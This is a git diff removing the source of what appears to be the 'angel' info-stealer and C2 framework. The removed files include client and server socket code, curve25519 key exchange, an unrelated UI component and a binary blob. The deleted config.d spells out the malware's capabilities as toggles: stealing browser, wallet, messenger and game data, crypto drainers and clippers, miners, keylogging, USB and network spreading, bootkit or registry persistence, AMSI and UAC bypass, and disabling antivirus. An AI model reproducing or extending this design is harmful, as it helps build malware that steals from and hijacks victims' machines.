hook is a bad idea in general, but the prepare-commit-msg -# hook is more suited to it. -# -# SOB=$(git var GIT_AUTHOR_IDENT | sed -n 's/^\(.*>\).*$/Signed-off-by: \1/p') -# grep -qs "^$SOB" "$1" || echo "$SOB" >> "$1" - -# This example catches duplicate Signed-off-by lines. - -test "" = "$(grep '^Signed-off-by: ' "$1" | - sort | uniq -c | sed -e '/^[ ]*1[ ]/d')" || { - echo >&2 Duplicate Signed-off-by lines. - exit 1 -} diff --git a/components.json b/components.json deleted file mode 100644 index fdd14ae..0000000 --- a/components.json +++ /dev/null @@ -1,20 +0,0 @@ -{ - "$schema": "https://ui.shadcn.com/schema.json", - "style": "new-york", - "rsc": false, - "tsx": true, - "tailwind": { - "config": "tailwind.config.ts", - "css": "src/App.css", - "baseColor": "neutral", - "cssVariables": true, - "prefix": "" - }, - "aliases": { - "components": "@/components", - "utils": "@/lib/utils", - "ui": "@/components/ui", - "lib": "@/lib", - "hooks": "@/hooks" - } -} \ No newline at end of file diff --git a/conf.go b/conf.go deleted file mode 100644 index 909f07d..0000000 --- a/conf.go +++ /dev/null @@ -1,3 +0,0 @@ -package extra - -var Port int = 8080 \ No newline at end of file diff --git a/config b/config deleted file mode 100644 index 2e7aa77..0000000 --- a/config +++ /dev/null @@ -1,13 +0,0 @@ -[core] - repositoryformatversion = 0 - filemode = false - bare = false - logallrefupdates = true - symlinks = false - ignorecase = true -[remote "origin"] - url = http://ducky.vulnerable.lol:9994/gumbobrot/angelc2.git - fetch = +refs/heads/*:refs/remotes/origin/* -[branch "meow"] - remote = origin - merge = refs/heads/meow diff --git a/config.d b/config.d deleted file mode 100644 index 56f0215..0000000 --- a/config.d +++ /dev/null @@ -1,188 +0,0 @@ -module angel.config; - -// Internal imports -import angel.utils.constants; -// External imports -import std.stdio; - -// bool -> possible values: 'true' or 'false' -// string -> possible values: character slice (use "" to define a slice) -// array - [] -> possible values: multiple character slices seperated by commas (inside) -struct Config { - struct Server { - string host = "127.0.0.1"; // server ip - int port = 8000; // server opened port (UFW) - string seclevel = "crystals-kyber"; // encryption/verification/signing to use, choose from: 'ecc, crystals-kyber, rsa' - } - - bool debug_mode = true; - ubyte[] server_pk = [0x63, 0x33, 0xa2, 0x5f, 0x48, 0xbb, 0x69, 0x8e, 0x1a, 0x90, 0x02, 0x83, 0x20, 0xd2, 0x05, 0x6a, 0xa1, 0x6e, 0x37, 0x2e, 0xdd, 0x84, 0xb4, 0x06, 0x20, 0xc8, 0xbc, 0xb6, 0x82, 0x17, 0x81, 0x51]; // server public ECC-curve25519 key - - struct Antidbg { - bool analysis = true; - bool dbg = true; - bool kill = false; - bool vm = false; - } - - bool fakeErr = false; - // remove Constants.Errmsg("[]") to use std err msg - Constants.Errmsg errmsg = Constants.Errmsg("custom err msg"); - - struct Exclude { - string[] country = ["de", "us", "ru"]; // country to exclude from stealing - string[] path = ["", ""]; // path to exclude from antivirus - string[] network = [""]; // disables access to specific network/web addresses - } - - struct Spread { - bool local_network = true; - bool messenger = true; - bool mail = false; - } - - struct Infect { - bool iso = true; - bool usb = true; - bool systemfil = true; - } - - struct Miner { // choose from: 'gpu/cpu' - Constants.Coin xmr = Constants.Coin(1, "", ""); // (integer percentage, source device, wallet address) - Constants.Coin btc = Constants.Coin(1, "", ""); // example: (30, gpu, "0x62CeC6EAA79Ad549Bd010D13EdA4fDc796751823") - Constants.Coin ltc = Constants.Coin(1, "", ""); - Constants.Coin sol = Constants.Coin(1, "", ""); - Constants.Coin eth = Constants.Coin(1, "", ""); - } - - struct Exfil { - bool applications = true; - - struct Browser { - bool gecko = false; - bool chromium = true; - bool inject = false; - } - - Browser browser; - - struct Network { - bool ftp = false; - bool ssh = false; - bool vpn = false; - bool proxy = false; - bool hook = false; - } - - Network network; - - struct Files { - bool common = true; - bool important = true; - string[] commonFiles = [""]; - string[] importantFiles = [""]; // put file extensions here like txt, png, jpeg, kdbx, db etc. - } - - Files files; - - struct Games { - bool accounts = true; - bool saves = false; - bool inject = true; - string savesize = ""; // max. local save size (M=megabytes, K=kilobytes, G=gigabytes), e.g. 120M - } - - Games games; - - struct Mail { - bool client = true; - bool web = false; - bool inject = false; - } - - Mail mail; - - bool filterAccounts = false; - bool systemInformation = false; - bool porndetect = false; - - struct Wallet { - bool seed = true; - - Constants.Address xmrDrainer = Constants.Address(""); - Constants.Address btcDrainer = Constants.Address(""); - Constants.Address ltcDrainer = Constants.Address(""); - Constants.Address solDrainer = Constants.Address(""); - Constants.Address ethDrainer = Constants.Address(""); - - Constants.Address xmrClipper = Constants.Address(""); - Constants.Address btcClipper = Constants.Address(""); - Constants.Address ltcClipper = Constants.Address(""); - Constants.Address ethClipper = Constants.Address(""); - Constants.Address solClipper = Constants.Address(""); - - bool inject = false; - } - - Wallet wallet; - - struct Messenger { - bool messages = false; - bool login = true; - bool inject = false; - } - - Messenger messenger; - - bool snapshot = false; - bool screenshot = true; - } - - struct Conn { - bool keylogger = true; - bool micrecord = false; - bool vidrecord = false; - string interval = ""; // integer + m = minutes, h = hours, d = days, example: 15m or 2h - } - - struct Persistence { - string mode = ""; // bootkit, ring0 kernel mode, registry, startup files, app startup - // choose from: 'boot, kernel, reg, file, app' - } - - struct Privesc { - bool fixExclusion = true; - bool disReagentC = true; - bool disEtw = true; - bool amsiBypass = true; - bool uacBypass = true; - bool destroyDef = false; - bool disableAv = false; - } - - struct Dropper { - bool memLoad = true; // load into memory/run module - bool startup = false; // will use the same method as persistence - bool update = false; // scrape again every time from URL - string url = ""; // URL to scrape file from - } - - struct Dnsmanip { - bool exclude = true; // excludes files from exclude struct to deny web access - } - - Server server; - Antidbg antidbg; - Exclude exclude; - Spread spread; - Infect infect; - Miner miner; - Exfil exfil; - Conn conn; - Persistence persistence; - Privesc privesc; - Dropper dropper; - Dnsmanip dnsmanip; -} - -Config config; diff --git a/config.py b/config.py deleted file mode 100644 index ffb0451..0000000 --- a/config.py +++ /dev/null @@ -1,2 +0,0 @@ -class Config: - serv_url: str = "127.0.0.1:7775" diff --git a/conn.d b/conn.d deleted file mode 100644 index c534b5c..0000000 --- a/conn.d +++ /dev/null @@ -1,58 +0,0 @@ -module angel.conn; - -// Internal imports -import angel.utils.logging; -import angel.utils.constants; -import angel.config : config; - -// External imports -import std.socket; -import std.conv; -import std.format; -import std.stdio; - -class Listener -{ - private TcpSocket sock; - - this() - { - this.initialize(); - this.sockc(); - } - - private void initialize() - { - Logger.log(LogLevel.Debug, format("Establishing conn: %s:%s", config.server.host, config - .server.port)); - try { - this.sock = new TcpSocket(); - this.sock.connect(new InternetAddress(config.server.host, cast(ushort) config.server.port)); - } - catch (SocketOSException err) { - Logger.log(LogLevel.Error, format("Failed to establ conn: %s", err)); - this.sock = null; - } - catch (Exception err) { - Logger.log(LogLevel.Error, format("Unknown err occurred: %s", err)); - this.sock = null; - } - } - - private void sockc() - { - if (this.sock is null) { - Logger.log(LogLevel.Warning, "Cannot send data: No active connection."); - return; - } - - ubyte[] init_id = [to!ubyte(config.server.initializer)]; - try { - this.sock.send(init_id); - Logger.log(LogLevel.Event, "Initializer ID sent."); - } - catch (SocketOSException err) { - Logger.log(LogLevel.Error, format("Failed to send data: %s", err)); - } - } -} diff --git a/conn.go b/conn.go deleted file mode 100644 index 36ce3ea..0000000 --- a/conn.go +++ /dev/null @@ -1,43 +0,0 @@ -package conn - -import ( - "angel_server/consts" - "angel_server/extra" - "fmt" - "log/slog" - "net" - "os" - "os/signal" - "syscall" -) - -func Start_serv() { - consts.Logger.Info("Starting tcp listener...") - - ln, err := net.Listen("tcp", fmt.Sprintf(":%d", extra.Port)) - if err != nil { - consts.Logger.Error("Error occurred during server start:", slog.Any("error", err)) - return - } - defer ln.Close() - - stop := make(chan os.Signal, 1) - signal.Notify(stop, os.Interrupt, syscall.SIGTERM) - - go func() { - <-stop - consts.Logger.Info("Shutting down server...") - ln.Close() - os.Exit(0) - }() - - for { - conn, err := ln.Accept() - if err != nil { - consts.Logger.Error("Error accepting connection:", slog.Any("error", err)) - continue - } - - go handleConnection(conn) - } -} \ No newline at end of file diff --git a/conn.py b/conn.py deleted file mode 100644 index d7e116b..0000000 --- a/conn.py +++ /dev/null @@ -1,18 +0,0 @@ -import socket - -from utils.logger import * -from config import * - - -class Conn: - def __init__(self): - log.info("Attempting to connect...") - self.connect() - - def connect(self): - with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as self.s: - ip, port = Config.serv_url.split(":") - self.s.connect((ip, int(port))) - self.s.sendall("cont".encode("utf-8")) - data = self.s.recv(1024) - log.warning(data.decode("utf-8")) diff --git a/constants.d b/constants.d deleted file mode 100644 index 87576d4..0000000 --- a/constants.d +++ /dev/null @@ -1,36 +0,0 @@ -module angel.utils.constants; - -// Internal imports -// External imports -import std.stdio; -import std.process; -import std.Path; - -class Constants { - public static string appdata; - public static string local_appdata; - public static string workdir; - public static string logFilePath; - - static this() { - appdata = environment.get("APPDATA"); - local_appdata = environment.get("LOCALAPPDATA"); - - workdir = buildPath(appdata, "Angel"); - logFilePath = buildPath(workdir, "angel.log"); - } - - struct Address { - string addr; - } - - struct Coin { - int percentage = 30; - string source = "gpu"; - string addr; - } - - struct Errmsg { - string msg = "The exception unknown software exception (0x0000409) occurred in the application at location 0x7FFDF3B6A3C.\n\nClick on OK to terminate the program"; - } -} \ No newline at end of file diff --git a/constants.py b/constants.py deleted file mode 100644 index 667e6e9..0000000 --- a/constants.py +++ /dev/null @@ -1,17 +0,0 @@ -class Consts: - banner: str = """ - _ - \`*-. - ) _`-. - . : `. . - : _ ' \ - ; *` _. `*-._ - `-.-' `-. - ; ` `. - :. . \ - . \ . : .-' . - ' `+.; ; ' : - : ' | ; ;-. - ; ' : :`-: _.`* ; -[bug] .*' / .*' ; .*`- +' `*' - `*-* `*-* `*-*'""" diff --git a/consts.go b/consts.go deleted file mode 100644 index 7624d32..0000000 --- a/consts.go +++ /dev/null @@ -1,11 +0,0 @@ -package consts - -import ( - "angel_server/logging" - "database/sql" -) - - - -var Logger = logging.GetLogger() -var Db *sql.DB \ No newline at end of file diff --git a/context-menu.tsx b/context-menu.tsx deleted file mode 100644 index 6c261ee..0000000 --- a/context-menu.tsx +++ /dev/null @@ -1,202 +0,0 @@ -import * as React from "react" -import * as ContextMenuPrimitive from "@radix-ui/react-context-menu" -import { - CheckIcon, - ChevronRightIcon, - DotFilledIcon, -} from "@radix-ui/react-icons" - -import { cn } from "@/lib/utils" - -const ContextMenu = ContextMenuPrimitive.Root - -const ContextMenuTrigger = ContextMenuPrimitive.Trigger - -const ContextMenuGroup = ContextMenuPrimitive.Group - -const ContextMenuPortal = ContextMenuPrimitive.Portal - -const ContextMenuSub = ContextMenuPrimitive.Sub - -const ContextMenuRadioGroup = ContextMenuPrimitive.RadioGroup - -const ContextMenuSubTrigger = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef & { - inset?: boolean - } ->(({ className, inset, children, ...props }, ref) => ( - - {children} - - -)) -ContextMenuSubTrigger.displayName = ContextMenuPrimitive.SubTrigger.displayName - -const ContextMenuSubContent = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -ContextMenuSubContent.displayName = ContextMenuPrimitive.SubContent.displayName - -const ContextMenuContent = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - - - -)) -ContextMenuContent.displayName = ContextMenuPrimitive.Content.displayName - -const ContextMenuItem = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef & { - inset?: boolean - } ->(({ className, inset, ...props }, ref) => ( - -)) -ContextMenuItem.displayName = ContextMenuPrimitive.Item.displayName - -const ContextMenuCheckboxItem = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, children, checked, ...props }, ref) => ( - - - - - - - {children} - -)) -ContextMenuCheckboxItem.displayName = - ContextMenuPrimitive.CheckboxItem.displayName - -const ContextMenuRadioItem = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, children, ...props }, ref) => ( - - - - - - - {children} - -)) -ContextMenuRadioItem.displayName = ContextMenuPrimitive.RadioItem.displayName - -const ContextMenuLabel = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef & { - inset?: boolean - } ->(({ className, inset, ...props }, ref) => ( - -)) -ContextMenuLabel.displayName = ContextMenuPrimitive.Label.displayName - -const ContextMenuSeparator = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -ContextMenuSeparator.displayName = ContextMenuPrimitive.Separator.displayName - -const ContextMenuShortcut = ({ - className, - ...props -}: React.HTMLAttributes) => { - return ( - - ) -} -ContextMenuShortcut.displayName = "ContextMenuShortcut" - -export { - ContextMenu, - ContextMenuTrigger, - ContextMenuContent, - ContextMenuItem, - ContextMenuCheckboxItem, - ContextMenuRadioItem, - ContextMenuLabel, - ContextMenuSeparator, - ContextMenuShortcut, - ContextMenuGroup, - ContextMenuPortal, - ContextMenuSub, - ContextMenuSubContent, - ContextMenuSubTrigger, - ContextMenuRadioGroup, -} diff --git a/controller.go b/controller.go deleted file mode 100644 index c2992fb..0000000 --- a/controller.go +++ /dev/null @@ -1,7 +0,0 @@ -package conn - -import "net" - -func controller_impl(conn net.Conn) { - -} \ No newline at end of file diff --git a/cryptmeow.go b/cryptmeow.go deleted file mode 100644 index c853531..0000000 --- a/cryptmeow.go +++ /dev/null @@ -1,23 +0,0 @@ -package cryptmeow - -import ( - "angel_server/consts" - "crypto/rand" - - "golang.org/x/crypto/curve25519" -) - -func Gen_keypair() (publicKey [32]byte, privateKey [32]byte) { - consts.Logger.Warn("Generating ephemeral keys for SSH authetification.") - - _, err := rand.Read(privateKey[:]) - if err != nil { - consts.Logger.Error("Failed to generate private key: " + err.Error()) - } - - curve25519.ScalarBaseMult(&publicKey, &privateKey) - - return publicKey, privateKey -} - -var ControllerPublicKey, ControllerPrivateKey [32]byte = Gen_keypair() \ No newline at end of file diff --git a/cryptography.d b/cryptography.d deleted file mode 100644 index 8333a31..0000000 --- a/cryptography.d +++ /dev/null @@ -1,33 +0,0 @@ -module angel.utils.cryptography.cryptography; - -// Internal imports -import angel.utils.logging; -import angel.utils.cryptography.curve25519; -// External imports -import std.stdio; -import std.random; -import std.format; - -class Cryptography { - public { - struct KeyPair { - ubyte[32] clientSecretKey; - ubyte[32] sharedSecret; - } - } - - public static KeyPair derive_25519(ubyte[] pk) { - ubyte[32] sk; // generate client secret key - for (int i = 0; i < 32; ++i) { - sk[i] = cast(ubyte)(uniform(0, 256)); - } - - Logger.log(LogLevel.Debug, "Generated client sk"); - - ubyte[32] ss = curve25519_scalarmult(sk, pk); // derive shared secret out of pk and sk - - Logger.log(LogLevel.Debug, format("Derived shared secret: %s", ss)); - - return KeyPair(sk, ss); - } -} \ No newline at end of file diff --git a/curve25519.d b/curve25519.d deleted file mode 100644 index 8d911e7..0000000 --- a/curve25519.d +++ /dev/null @@ -1,136 +0,0 @@ -module angel.utils.cryptography.curve25519; - -import angel.utils.cryptography.fieldelem; -import angel.utils.cryptography.utils; - -public enum ubyte[32] publicBasePoint = cast(immutable (ubyte[32]) ) x"0900000000000000000000000000000000000000000000000000000000000000"; - -@safe nothrow @nogc: - -/// -/// -/// Params: -/// secret = Your secret key, the 'exponent'. -/// p = Receivers public key. Default base point = 9. -/// -/// Returns: p^secret. -/// -/// Examples: -/// -/// ubyte[32] publicKey = curve25519_scalarmult(secretKey); -/// -/// ubyte[32] sharedKey = curve25519_scalarmult(mySecretKey, herPublicKey); -/// -ubyte[32] curve25519_scalarmult( - in ubyte[] secret, - in ubyte[] p = cast(const ubyte[32]) publicBasePoint) @safe nothrow @nogc -in { - assert(secret.length == 32, "Secret key must be 32 bytes long."); - assert(p.length == 32, "Public key must be 32 bytes long."); -} body { - ubyte[32] sec = secret; - scope(exit) { - wipe(sec); - } - - ubyte[32] pub = p; - - return curve25519_scalarmult(sec, pub); -} - -/// -/// -/// Params: -/// secret = Your secret key, the 'exponent'. -/// p = Receivers public key. Default base point = 9. -/// -/// Returns: p^secret. -/// -/// Examples: -/// -/// ubyte[32] publicKey = curve25519_scalarmult(secretKey); -/// -/// ubyte[32] sharedKey = curve25519_scalarmult(mySecretKey, herPublicKey); -/// -ubyte[32] curve25519_scalarmult(in ref ubyte[32] secret, in ref ubyte[32] p = publicBasePoint) @safe nothrow @nogc -{ - ubyte[32] e = secret; - scope(exit) { - wipe(e); - } - clamp(e); - - fe x1, x2, x3, z2, z3, tmp0, tmp1; - scope(exit) { - wipe(x1); - wipe(x2); - wipe(x3); - wipe(z2); - wipe(z3); - wipe(tmp0); - wipe(tmp1); - } - - x1 = fe.fromBytes(p); - x2 = fe.one; - z2 = fe.zero; - x3 = x1; - z3 = fe.one; - - uint swap = 0, b; - for (int pos = 254; pos >= 0;--pos) { - b = e[pos / 8] >> (pos & 7); - b &= 1; - swap ^= b; - fe_cswap(x2,x3,swap); - fe_cswap(z2,z3,swap); - swap = b; - - tmp0 = x3 - z3; - - tmp1 = x2 - z2; - x2 += z2; - z2 = x3 + z3; - - z3 = tmp0 * x2; - - z2 *= tmp1; - tmp0 = tmp1.sq; - tmp1 = x2.sq; - x3 = z2 + z3; - - z2 = z3 - z2; - x2 = tmp0 * tmp1; - - tmp1 -= tmp0; - - z2 = z2.sq; - - z3 = fe_mul121666(tmp1); - - x3 = x3.sq; - - tmp0 += z3; - z3 = x1 * z2; - - z2 = tmp0 * tmp1; - } - fe_cswap(x2,x3,swap); - fe_cswap(z2,z3,swap); - - x2 *= z2.inverse; - return x2.toBytes; -} - -/// Transforms 32 random bytes into a valid secret key. -/// -/// Params: -/// sk = 32 byte secret key. -package void clamp(ubyte[] sk) pure -in { - assert(sk.length == 32); -} body { - sk[0] &= 248; - sk[31] &= 63; - sk[31] |= 64; -} \ No newline at end of file diff --git a/d5ffe1d102926748f901e25a9aa2e4556c09bf b/d5ffe1d102926748f901e25a9aa2e4556c09bf deleted file mode 100644 index 4728ae308237eb19d0444b67e9c60d5b5d5cd434ee95f98b04adfe4e6c478370..0000000000000000000000000000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 478 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 